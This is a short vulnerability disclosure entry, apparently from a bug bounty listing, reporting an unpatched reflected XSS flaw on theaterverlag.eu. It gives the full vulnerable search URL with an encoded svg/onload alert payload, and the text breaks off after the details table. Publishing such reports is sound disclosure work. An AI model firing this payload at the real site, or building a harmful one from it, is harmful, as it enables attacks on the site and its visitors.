theaterverlag.eu XSS vulnerability

Vulnerable URL: http://theaterverlag.eu/24.Titelsuche.html?action=searchstandardsubmissiontype=userstichwort=%22%3Eblub%3Csvg%2Fonload%3Dalert%2FOPENBUGBOUNTY%2F%3Eresults Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability...